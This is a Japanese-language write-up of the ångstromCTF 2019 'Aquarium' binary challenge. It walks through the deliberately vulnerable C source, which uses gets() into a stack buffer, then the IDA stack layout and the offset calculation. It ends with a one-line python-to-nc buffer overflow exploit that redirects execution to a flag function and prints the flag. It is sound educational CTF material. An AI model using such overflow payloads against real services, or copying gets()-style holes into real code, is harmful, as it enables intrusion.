ångstromCTF Binary Aquarium

Binary

Aquarium

Here's a nice little program that helps you manage your fish tank.

Run it on the shell server at /problems/2019/aquarium/ or connect with nc shell.actf.co 19305.

Author: kmh11

ソースコードと実行ファイルが与えられる。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

struct fish_tank {
    char name[50];
    int fish;
    int fish_size;
    int water;
    int width;
    int length;
    int height;
};


struct fish_tank create_aquarium() {
    struct fish_tank tank;

    printf("Enter the number of fish in your fish tank: ");
    scanf("%d", &tank.fish);
    getchar();

    printf("Enter the size of the fish in your fish tank: ");
    scanf("%d", &tank.fish_size);
    getchar();

    printf("Enter the amount of water in your fish tank: ");
    scanf("%d", &tank.water);
    getchar();

    printf("Enter the width of your fish tank: ");
    scanf("%d", &tank.width);
    getchar();

    printf("Enter the length of your fish tank: ");
    scanf("%d", &tank.length);
    getchar();

    printf("Enter the height of your fish tank: ");
    scanf("%d", &tank.height);
    getchar();

    printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

    strcpy(name, tank.name);
    return tank;
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    struct fish_tank tank;

    tank = create_aquarium();

    if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

    printf("Nice fish tank you have there.\n");

    return 0;
}

ソースコードを見て気になる点

-. flag.txtをcatする関数がある。

void flag() {
    system("/bin/cat flag.txt");
}

-. 最後のタンク名を入力する部分でオーバーフロー出来そう。

printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

-. 条件を満たさないとプログラムが終了する。

if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

IDAでcreate_aquarium()のスタックの状態を見る。

f:id:Yunolay:20190420155444p:plain

__int64 __fastcall create_aquarium(__int64 a1)
{
  __int64 v1; // rcx
  __int64 v2; // rcx
  __int64 v3; // rcx
  __int64 v4; // rcx
  char dest; // [rsp+10h] [rbp-90h]
  char src[8]; // [rsp+50h] [rbp-50h]
  __int64 v8; // [rsp+58h] [rbp-48h]
  __int64 v9; // [rsp+60h] [rbp-40h]
  __int64 v10; // [rsp+68h] [rbp-38h]
  __int64 v11; // [rsp+70h] [rbp-30h]
  __int64 v12; // [rsp+78h] [rbp-28h]
  __int64 v13; // [rsp+80h] [rbp-20h]
  __int64 v14; // [rsp+88h] [rbp-18h]
  __int64 v15; // [rsp+90h] [rbp-10h]
  int v16; // [rsp+98h] [rbp-8h]

  printf("Enter the number of fish in your fish tank: ");
  __isoc99_scanf("%d", (char *)&v13 + 4);
  getchar();
  printf("Enter the size of the fish in your fish tank: ");
  __isoc99_scanf("%d", &v14);
  getchar();
  printf("Enter the amount of water in your fish tank: ");
  __isoc99_scanf("%d", (char *)&v14 + 4);
  getchar();
  printf("Enter the width of your fish tank: ");
  __isoc99_scanf("%d", &v15);
  getchar();
  printf("Enter the length of your fish tank: ");
  __isoc99_scanf("%d", (char *)&v15 + 4);
  getchar();
  printf("Enter the height of your fish tank: ");
  __isoc99_scanf("%d", &v16);
  getchar();
  printf("Enter the name of your fish tank: ");
  gets(&dest);
  strcpy(&dest, src);
  v1 = v8;
  *(_QWORD *)a1 = *(_QWORD *)src;
  *(_QWORD *)(a1 + 8) = v1;
  v2 = v10;
  *(_QWORD *)(a1 + 16) = v9;
  *(_QWORD *)(a1 + 24) = v2;
  v3 = v12;
  *(_QWORD *)(a1 + 32) = v11;
  *(_QWORD *)(a1 + 40) = v3;
  v4 = v14;
  *(_QWORD *)(a1 + 48) = v13;
  *(_QWORD *)(a1 + 56) = v4;
  *(_QWORD *)(a1 + 64) = v15;
  *(_DWORD *)(a1 + 72) = v16;
  return a1;
}

Stack

f:id:Yunolay:20190420155510p:plain

-00000000000000A0 ; N       : rename
-00000000000000A0 ; U       : undefine
-00000000000000A0 ; Use data definition commands to create local variables and function arguments.
-00000000000000A0 ; Two special fields " r" and " s" represent return address and saved registers.
-00000000000000A0 ; Frame size: A0; Saved regs: 8; Purge: 0
-00000000000000A0 ;
-00000000000000A0
-00000000000000A0                 db ? ; undefined
-000000000000009F                 db ? ; undefined
-000000000000009E                 db ? ; undefined
-000000000000009D                 db ? ; undefined
-000000000000009C                 db ? ; undefined
-000000000000009B                 db ? ; undefined
-000000000000009A                 db ? ; undefined
-0000000000000099                 db ? ; undefined
-0000000000000098 var_98          dq ?
-0000000000000090 dest            db ?
-000000000000008F                 db ? ; undefined
-000000000000008E                 db ? ; undefined
-000000000000008D                 db ? ; undefined
-000000000000008C                 db ? ; undefined
-000000000000008B                 db ? ; undefined
-000000000000008A                 db ? ; undefined
-0000000000000089                 db ? ; undefined
-0000000000000088                 db ? ; undefined
-0000000000000087                 db ? ; undefined
-0000000000000086                 db ? ; undefined
-0000000000000085                 db ? ; undefined
-0000000000000084                 db ? ; undefined
-0000000000000083                 db ? ; undefined
-0000000000000082                 db ? ; undefined
-0000000000000081                 db ? ; undefined
-0000000000000080                 db ? ; undefined
-000000000000007F                 db ? ; undefined
-000000000000007E                 db ? ; undefined
-000000000000007D                 db ? ; undefined
-000000000000007C                 db ? ; undefined
-000000000000007B                 db ? ; undefined
-000000000000007A                 db ? ; undefined
-0000000000000079                 db ? ; undefined
-0000000000000078                 db ? ; undefined
-0000000000000077                 db ? ; undefined
-0000000000000076                 db ? ; undefined
-0000000000000075                 db ? ; undefined
-0000000000000074                 db ? ; undefined
-0000000000000073                 db ? ; undefined
-0000000000000072                 db ? ; undefined
-0000000000000071                 db ? ; undefined
-0000000000000070                 db ? ; undefined
-000000000000006F                 db ? ; undefined
-000000000000006E                 db ? ; undefined
-000000000000006D                 db ? ; undefined
-000000000000006C                 db ? ; undefined
-000000000000006B                 db ? ; undefined
-000000000000006A                 db ? ; undefined
-0000000000000069                 db ? ; undefined
-0000000000000068                 db ? ; undefined
-0000000000000067                 db ? ; undefined
-0000000000000066                 db ? ; undefined
-0000000000000065                 db ? ; undefined
-0000000000000064                 db ? ; undefined
-0000000000000063                 db ? ; undefined
-0000000000000062                 db ? ; undefined
-0000000000000061                 db ? ; undefined
-0000000000000060                 db ? ; undefined
-000000000000005F                 db ? ; undefined
-000000000000005E                 db ? ; undefined
-000000000000005D                 db ? ; undefined
-000000000000005C                 db ? ; undefined
-000000000000005B                 db ? ; undefined
-000000000000005A                 db ? ; undefined
-0000000000000059                 db ? ; undefined
-0000000000000058                 db ? ; undefined
-0000000000000057                 db ? ; undefined
-0000000000000056                 db ? ; undefined
-0000000000000055                 db ? ; undefined
-0000000000000054                 db ? ; undefined
-0000000000000053                 db ? ; undefined
-0000000000000052                 db ? ; undefined
-0000000000000051                 db ? ; undefined
-0000000000000050 src             db 8 dup(?)
-0000000000000048 var_48          dq ?
-0000000000000040 var_40          dq ?
-0000000000000038 var_38          dq ?
-0000000000000030 var_30          dq ?
-0000000000000028 var_28          dq ?
-0000000000000020 var_20          dq ?
-0000000000000018 var_18          dq ?
-0000000000000010 var_10          dq ?
-0000000000000008 var_8           dd ?
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

destからr(return address)を上書きする。

  gets(&dest);
  strcpy(&dest, src);
Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x90+0x8
152
~/Desktop/ångstromCTF/Pwn/Aquarium ᐅ python -c "print '1\n1\n1\n100\n100\n10\n' + 'A' * 152 + '\xb6\x11\x40\x00'" | nc shell.actf.co 19305
Enter the number of fish in your fish tank: Enter the size of the fish in your fish tank: Enter the amount of water in your fish tank: Enter the width of your fish tank: Enter the length of your fish tank: Enter the height of your fish tank: Enter the name of your fish tank: actf{overflowed_more_than_just_a_fish_tank}
Segmentation fault (core dumped)

FLAG : actf{overflowed_more_than_just_a_fish_tank}